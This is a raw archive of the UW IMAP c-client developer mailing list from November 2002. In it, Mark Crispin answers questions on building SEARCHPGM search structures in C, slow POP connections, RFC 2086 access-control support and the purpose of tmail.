X-Accept-Language: es-py, en-us X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi, I'm looking for a function like mail_criteria() that receives an IMAP4 search string and returns a (SEARCHPGM *) structure: SEARCHPGM *mail_criteria(char *criteria) Is there a mail_criteria() equivalent function for imap4? Many thanks Oliver -- Oliver Schulze L. oliver@samera.com.py -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri Nov 8 10:11:48 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 8 Nov 2002 10:11:48 -0800 (PST) Return-Path: Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.10) with SMTP id gA8IBmV0022847 for ; Fri, 8 Nov 2002 10:11:48 -0800 Received: FROM mx2.cac.washington.edu BY mailscan4.cac.washington.edu ; Fri Nov 08 10:11:46 2002 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.10) with ESMTP id gA8IBjng016733 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Fri, 8 Nov 2002 10:11:46 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.10) with SMTP id gA8IAB1f083962; Fri, 8 Nov 2002 10:10:11 -0800 Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.10) with SMTP id gA8I6Cdr049902 for ; Fri, 8 Nov 2002 10:06:12 -0800 Received: FROM mxu3.u.washington.edu BY mailscan3.cac.washington.edu ; Fri Nov 08 10:06:09 2002 -0800 Received: from Ikkoku-Kan.Panda.COM (panda.com [206.124.149.114]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id gA8I68ux004001 for ; Fri, 8 Nov 2002 10:06:09 -0800 Received: from Ikkoku-Kan.Panda.COM (Ikkoku-Kan.Panda.COM [192.107.14.50]) by Ikkoku-Kan.Panda.COM id KAA01982; Fri, 8 Nov 2002 10:05:49 -0800 (PST) Message-Id: Date: Fri, 8 Nov 2002 10:04:58 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: "Oliver Schulze L." Cc: c-client@u.washington.edu Subject: re: Parsing In-Reply-To: <3DCBF53D.7090901@samera.com.py> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, 08 Nov 2002 14:32:45 -0300, Oliver Schulze L. wrote: > Is there a mail_criteria() equivalent function for imap4? There isn't. You should build the SEARCHPGM yourself. It shouldn't be difficult. In fact, it should be much easier to build a SEARCHPGM than an IMAP4 string. From pinedev@shivax2.cac.washington.edu Fri Nov 8 10:18:07 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 8 Nov 2002 10:18:06 -0800 (PST) Return-Path: Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.10) with SMTP id gA8II5V0023328 for ; Fri, 8 Nov 2002 10:18:06 -0800 Received: FROM mx2.cac.washington.edu BY mailscan2.cac.washington.edu ; Fri Nov 08 10:18:02 2002 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.10) with ESMTP id gA8II2ng017244 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Fri, 8 Nov 2002 10:18:02 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.10) with SMTP id gA8IG1NO030884; Fri, 8 Nov 2002 10:16:01 -0800 Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.10) with SMTP id gA8ICHdr070608 for ; Fri, 8 Nov 2002 10:12:17 -0800 Received: FROM mxu2.u.washington.edu BY mailscan5.cac.washington.edu ; Fri Nov 08 10:12:16 2002 -0800 Received: from samera.com (mail.samera.com.py [200.85.40.10]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id gA8ICAqk001457 for ; Fri, 8 Nov 2002 10:12:14 -0800 Received: from samera.com.py (sojourner.samera.com [192.168.1.1]) by samera.com (8.11.6/8.11.6) with ESMTP id gA8IC2V03390 for ; Fri, 8 Nov 2002 15:12:02 -0300 Message-Id: <3DCBFE71.4020503@samera.com.py> Date: Fri, 08 Nov 2002 15:12:01 -0300 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Oliver Schulze L." To: c-client@u.washington.edu Subject: Re: Parsing In-Reply-To: References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: es-py, en-us X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN The problem I trying to solve is in the php.net implementation of imap searching. They use mail_criteria() because they just pass to c-client what the user wants to search. They don't parse the user input search string. The problem can be reproduced in every program that accept an input from the user. But if it is the only way to do it, I should keep learning c-client. I was trying some examples of building a SEARCHPGM and could't find the way to have more than one criteria. Like when using OR/AND, etc How do I do this? Thanks Oliver Mark Crispin wrote: >On Fri, 08 Nov 2002 14:32:45 -0300, Oliver Schulze L. wrote: > > >>Is there a mail_criteria() equivalent function for imap4? >> >> > >There isn't. You should build the SEARCHPGM yourself. > >It shouldn't be difficult. In fact, it should be much easier to build a >SEARCHPGM than an IMAP4 string. > > -- Oliver Schulze L. oliver@samera.com.py From pinedev@shivax2.cac.washington.edu Fri Nov 8 11:17:24 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 8 Nov 2002 11:17:24 -0800 (PST) Return-Path: Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.10) with SMTP id gA8JHOV0025976 for ; Fri, 8 Nov 2002 11:17:24 -0800 Received: FROM mx2.cac.washington.edu BY mailscan1.cac.washington.edu ; Fri Nov 08 11:17:23 2002 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.10) with ESMTP id gA8JHNng019631 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Fri, 8 Nov 2002 11:17:23 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.10) with SMTP id gA8JFP1f086318; Fri, 8 Nov 2002 11:15:25 -0800 Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.10) with SMTP id gA8J1bdr049850 for ; Fri, 8 Nov 2002 11:01:38 -0800 Received: FROM mxu3.u.washington.edu BY mailscan5.cac.washington.edu ; Fri Nov 08 11:01:37 2002 -0800 Received: from Ikkoku-Kan.Panda.COM (panda.com [206.124.149.114]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id gA8J1aux018853 for ; Fri, 8 Nov 2002 11:01:36 -0800 Received: from Ikkoku-Kan.Panda.COM (Ikkoku-Kan.Panda.COM [192.107.14.50]) by Ikkoku-Kan.Panda.COM id LAA02064; Fri, 8 Nov 2002 11:01:21 -0800 (PST) Message-Id: Date: Fri, 8 Nov 2002 10:31:50 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: "Oliver Schulze L." Cc: c-client@u.washington.edu Subject: Re: Parsing In-Reply-To: <3DCBFE71.4020503@samera.com.py> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, 08 Nov 2002 15:12:01 -0300, Oliver Schulze L. wrote: > The problem I trying to solve is in the php.net implementation of imap > searching. I understand. This has been a difficult problem. Basically, my position has been that IMAP search strings, while "logical", are a terrible interface from a human's point of view. Consider FLAGGED OR FROM SMITH CC JONES Most humans would interpret this as "messages which are flagged, or are from SMITH and cc JONES". But that is not what IMAP does; in IMAP it means "messages which are flagged, *and* are from SMITH or cc JONES." I feel that the correct thing would be for PHP and/or the application to provide an interface suitable for humans, as opposed to passing IMAP strings. An additional complication, and what was fatal to mail_criteria(), is in the handling of strings which require representation as a literal. Then, too, mail_criteria() is very thread-unsafe... One problem that people traditionally had was in generating the shortdates expected by the date search criteria. imap-2002 now has a mail_shortdate() function which should make this a lot easier. > I was trying some examples of building a SEARCHPGM and could't find > the way to have more than one criteria. Like when using OR/AND, etc > How do I do this? AND is easy. Just set multiple criteria in the SEARCHPGM. For example you can do FLAGGED UNSEEN with: SEARCHPGM *pgm = mail_newsearchpgm(); pgm->flagged = pgm->unseen = T; OR is more complicated. You create a SEARCHPGM for each part of the OR'd expression, and set them in the SEARCHOR in a higher SEARCHPGM. For example, to do OR FLAGGED UNSEEN: SEARCHPGM *pgm = mail_newsearchpgm(); pgm->or = mail_newsearchor(); pgm->or->first = mail_newsearchpgm(); pgm->or->first->flagged = T; pgm->or->second = mail_newsearchpgm(); pgm->or->second->unseen = T; This is actually expressing ALL OR FLAGGED UNSEEN, which is equivalent. NOT works in a corresponding way; it is a linked list of SEARCHPGMs which are "AND NOT" with the top level. For example, to do NOT FLAGGED NOT UNSEEN: SEARCHPGM *pgm = mail_newsearchpgm(); pgm->not = mail_newsearchpgmlist(); pgm->not->pgm = mail_newsearchpgm(); pgm->not->pgm->flagged = T; pgm->not->next = mail_newsearchpgmlist(); pgm->not->next->pgm = mail_newsearchpgm(); pgm->not->next->pgm->unseen = T; Of course, this was a very silly example, since an equivalent search can be done with UNFLAGGED SEEN: SEARCHPGM *pgm = mail_newsearchpgm(); pgm->unflagged = pgm->seen = T; NOT generally only happens with string searches, since most other search terms already have logical opposites (thus making NOT extraneous). Yes, I know that this all looks pretty imposing, but you have to think about what the IMAP strings would look like. No normal mortal will be able to comprehend RECENT OR FROM SMITH CC JONES correctly, so you will need your own interface. It actually is easier, and less bug-prone, to generate a SEARCHPGM than it is to try to figure out how IMAP expresses things. But I understand that there can be a comprehension gap. From pinedev@shivax2.cac.washington.edu Fri Nov 8 13:02:30 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 8 Nov 2002 13:02:30 -0800 (PST) Return-Path: Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.10) with SMTP id gA8L2TV0030943 for ; Fri, 8 Nov 2002 13:02:30 -0800 Received: FROM mx2.cac.washington.edu BY mailscan5.cac.washington.edu ; Fri Nov 08 13:02:29 2002 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.10) with ESMTP id gA8L2Sng023874 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Fri, 8 Nov 2002 13:02:29 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.10) with SMTP id gA8L0jNO015172; Fri, 8 Nov 2002 13:00:45 -0800 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gA8KuRvu009280 for ; Fri, 8 Nov 2002 12:56:27 -0800 Received: FROM mxu4.u.washington.edu BY mailscan6.cac.washington.edu ; Fri Nov 08 12:56:27 2002 -0800 Received: from webmail.norvanet.com (webmail.norvanet.com [64.83.48.210]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id gA8KuQg3015428 for ; Fri, 8 Nov 2002 12:56:26 -0800 Received: from neo.eastcoast-pc.com (unknown [192.168.0.2]) by webmail.norvanet.com (Postfix) with ESMTP id C8EC3188099 for ; Fri, 8 Nov 2002 15:57:12 -0500 (EST) Message-Id: <1036788905.4457.24.camel@neo.eastcoast-pc.com> Date: 08 Nov 2002 15:55:05 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Johnathon B. Allread - " East Coast Computers To: c-client@u.washington.edu Subject: Pop mail taking a long time. Content-Type: text/plain Content-Transfer-Encoding: 7bit Mime-Version: 1.0 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello all. I am running Mandrake 9.0, Imap-2001a-9mdk, and postfix. My server has a static private ip address and I port forward ports 110, 143, and 25 to the server using a D-Link router. The problem I am having is that when I try to "pop" email from the server, I connect to the server and takes approx 20-30 seconds before it pulls the mail. It seems as if something is timing out before it lets the mail go out. Any ideas? I really appreciate the help. Thanks, Johnathon -- Johnathon B. Allread A+, MCP, MCSA, Linux User East Coast Computers 1902 Colley Avenue Norfolk, VA 23517-1613 http://www.eastcoast-pc.com PH 757-313-7582 FX 757-313-7587 Cell 757-235-5629 -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri Nov 8 13:26:15 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 8 Nov 2002 13:26:15 -0800 (PST) Return-Path: Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.10) with SMTP id gA8LQFV0031957 for ; Fri, 8 Nov 2002 13:26:15 -0800 Received: FROM mx1.cac.washington.edu BY mailscan6.cac.washington.edu ; Fri Nov 08 13:26:14 2002 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.10) with ESMTP id gA8LQE6r017498 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Fri, 8 Nov 2002 13:26:14 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.10) with SMTP id gA8LNuNO015608; Fri, 8 Nov 2002 13:23:56 -0800 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gA8LIYvu075012 for ; Fri, 8 Nov 2002 13:18:35 -0800 Received: FROM mxu2.u.washington.edu BY mailscan6.cac.washington.edu ; Fri Nov 08 13:18:34 2002 -0800 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id gA8LIYql014506 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Fri, 8 Nov 2002 13:18:34 -0800 Received: from mailscan-out2.cac.washington.edu (mailscan-out2.cac.washington.edu [140.142.33.17]) by mxout4.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.10) with SMTP id gA8LIYIN004926 for ; Fri, 8 Nov 2002 13:18:34 -0800 Received: FROM smtp.washington.edu BY mailscan-out2.cac.washington.edu ; Fri Nov 08 13:18:33 2002 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW02.10) with ESMTP id gA8LIXSO009408 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Fri, 8 Nov 2002 13:18:33 -0800 Message-Id: Date: Fri, 8 Nov 2002 13:18:33 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: "Johnathon B. Allread - East Coast Computers" Cc: c-client@u.washington.edu Subject: Re: Pop mail taking a long time. In-Reply-To: <1036788905.4457.24.camel@neo.eastcoast-pc.com> References: <1036788905.4457.24.camel@neo.eastcoast-pc.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, 8 Nov 2002, Johnathon B. Allread - East Coast Computers wrote: > The problem I am having is that when > I try to "pop" email from the server, I connect to the server and takes > approx 20-30 seconds before it pulls the mail. It seems as if something > is timing out before it lets the mail go out. Any ideas? Read: http://www.washington.edu/imap/IMAP-FAQs/index.html#7.24 If you still have problems after fixing what's discussed in that FAQ, ask again. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Mon Nov 11 00:59:50 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 11 Nov 2002 00:59:49 -0800 (PST) Return-Path: Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.10) with SMTP id gAB8xnV0017156 for ; Mon, 11 Nov 2002 00:59:49 -0800 Received: FROM mx1.cac.washington.edu BY mailscan1.cac.washington.edu ; Mon Nov 11 00:59:48 2002 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.10) with ESMTP id gAB8xk6r022696 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 11 Nov 2002 00:59:48 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.10) with SMTP id gAB8wU1f004114; Mon, 11 Nov 2002 00:58:30 -0800 Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gAB8qUvu072790 for ; Mon, 11 Nov 2002 00:52:31 -0800 Received: FROM mxu3.u.washington.edu BY mailscan3.cac.washington.edu ; Mon Nov 11 00:52:29 2002 -0800 Received: from mid-1.inet.it (mid-1.inet.it [213.92.5.18]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gAB8qS3O016948 for ; Mon, 11 Nov 2002 00:52:29 -0800 Received: from [::ffff:213.92.1.191] by mid-1.inet.it via I-SMTP-4.3.0-430 id ::ffff:213.92.1.191+pCCSwObgm91W; Mon, 11 Nov 2002 09:52:27 +0100 Message-Id: <3DCF6FFC.6060100@inet.it> Date: Mon, 11 Nov 2002 09:53:16 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Harrie Hazewinkel To: IMAP DEV-LIST Subject: Support for RFC 2086 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN HI, I have a question regarding the support of the access control RFC for IMAP. RFC 2086 provides access control for IMAP mailboxes and I would like to know if this is supported in IMAP-WU?? I also was wondering if this will be supported and/or if someone knows what the best way to add support for access control. thanks by advance, Harrie -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Nov 11 05:29:37 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 11 Nov 2002 05:29:37 -0800 (PST) Return-Path: Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.10) with SMTP id gABDTbV0025024 for ; Mon, 11 Nov 2002 05:29:37 -0800 Received: FROM mx2.cac.washington.edu BY mailscan1.cac.washington.edu ; Mon Nov 11 05:29:35 2002 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.10) with ESMTP id gABDTYng001101 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 11 Nov 2002 05:29:35 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.10) with SMTP id gABDSXNO101884; Mon, 11 Nov 2002 05:28:33 -0800 Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gABDPYvu072950 for ; Mon, 11 Nov 2002 05:25:34 -0800 Received: FROM mxu4.u.washington.edu BY mailscan5.cac.washington.edu ; Mon Nov 11 05:25:34 2002 -0800 Received: from mailgate5.cinetic.de (mailgate5.cinetic.de [217.72.192.165]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gABDPXRn029225 for ; Mon, 11 Nov 2002 05:25:33 -0800 Received: from web.de (fmomail02.dlan.cinetic.de [172.20.1.46]) by mailgate5.cinetic.de (8.11.2/8.11.2/SuSE Linux 8.11.0-0.4) with SMTP id gABDPWX12157 for c-client@u.washington.edu; Mon, 11 Nov 2002 14:25:32 +0100 Message-Id: <200211111325.gABDPWX12157@mailgate5.cinetic.de> Date: Mon, 11 Nov 2002 14:25:32 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Stefan Schulte To: c-client@u.washington.edu Subject: tmail: Create ENVELOPE and BODY structure MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi all, i am experimenting with 'tmail' (a program included in the imap utils) for delivering emails into IMAP mailboxes. Actually i try to fill an ENVELOPE structure and an BODY structure inside the tmail program using the c-client library, but I don't know how to do that.=20 tmail only gets access to the email through an tmpfile() function call. There is no mailbox to open. Is there a possibility to fill the ENVELOPE and BODY structure if I only have the raw email stream =3F Which methods of the c-client library do i have=20 to use =3F Many thanks Stefan =5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F Viren=3F Wir wissen nicht was Ihr Arzt empfiehlt. Wir empfehlen den Virencheck f=FCr Dateianh=E4nge! http://freemail.web.de/features/=3Fmc=3D021159 -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Nov 11 08:40:44 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 11 Nov 2002 08:40:44 -0800 (PST) Return-Path: Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.10) with SMTP id gABGeiV0028926 for ; Mon, 11 Nov 2002 08:40:44 -0800 Received: FROM mx2.cac.washington.edu BY mailscan5.cac.washington.edu ; Mon Nov 11 08:40:42 2002 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.10) with ESMTP id gABGegng005217 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 11 Nov 2002 08:40:42 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.10) with SMTP id gABGdl1f089730; Mon, 11 Nov 2002 08:39:48 -0800 Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gABGZhvu072716 for ; Mon, 11 Nov 2002 08:35:43 -0800 Received: FROM mxu2.u.washington.edu BY mailscan1.cac.washington.edu ; Mon Nov 11 08:35:41 2002 -0800 Received: from Ikkoku-Kan.Panda.COM (panda.com [206.124.149.114]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id gABGZeqk006805 for ; Mon, 11 Nov 2002 08:35:41 -0800 Received: from Ikkoku-Kan.Panda.COM (Ikkoku-Kan.Panda.COM [192.107.14.50]) by Ikkoku-Kan.Panda.COM id IAA06023; Mon, 11 Nov 2002 08:35:34 -0800 (PST) Message-Id: Date: Mon, 11 Nov 2002 08:34:12 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Harrie Hazewinkel Cc: IMAP DEV-LIST Subject: re: Support for RFC 2086 In-Reply-To: <3DCF6FFC.6060100@inet.it> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN RFC 2086 is not supported in UW imapd, due to design flaws in RFC 2086 which make it effectively unimplementable. The IMAP Extensions Working Group of the IETF is working on a replacement to RFC 2086 which fixes those design flaws. We intend to implement that replacement. From pinedev@shivax2.cac.washington.edu Mon Nov 11 08:43:18 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 11 Nov 2002 08:43:17 -0800 (PST) Return-Path: Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.10) with SMTP id gABGhHV0028961 for ; Mon, 11 Nov 2002 08:43:17 -0800 Received: FROM mx1.cac.washington.edu BY mailscan2.cac.washington.edu ; Mon Nov 11 08:43:16 2002 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.10) with ESMTP id gABGhF6r032381 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 11 Nov 2002 08:43:16 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.10) with SMTP id gABGgRNO029146; Mon, 11 Nov 2002 08:42:27 -0800 Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gABGdhvu068008 for ; Mon, 11 Nov 2002 08:39:43 -0800 Received: FROM mxu7.u.washington.edu BY mailscan2.cac.washington.edu ; Mon Nov 11 08:39:42 2002 -0800 Received: from Ikkoku-Kan.Panda.COM (panda.com [206.124.149.114]) by mxu7.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gABGdfE9031592 for ; Mon, 11 Nov 2002 08:39:42 -0800 Received: from Ikkoku-Kan.Panda.COM (Ikkoku-Kan.Panda.COM [192.107.14.50]) by Ikkoku-Kan.Panda.COM id IAA06033; Mon, 11 Nov 2002 08:39:37 -0800 (PST) Message-Id: Date: Mon, 11 Nov 2002 08:37:10 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Stefan Schulte Cc: c-client@u.washington.edu Subject: re: tmail: Create ENVELOPE and BODY structure In-Reply-To: <200211111325.gABDPWX12157@mailgate5.cinetic.de> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN tmail has nothing to do with ENVELOPE and BODYSTRUCTURE. tmail just accepts a raw text from sendmail, and appends it to the mailbox. It is an MDA, not an MUA. I don't understand what you are trying to do. However, I am fairly certain that you are on the wrong track for your solution. Please explain what it is that you want to accomplish. From pinedev@shivax2.cac.washington.edu Tue Nov 12 14:29:55 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 12 Nov 2002 14:29:55 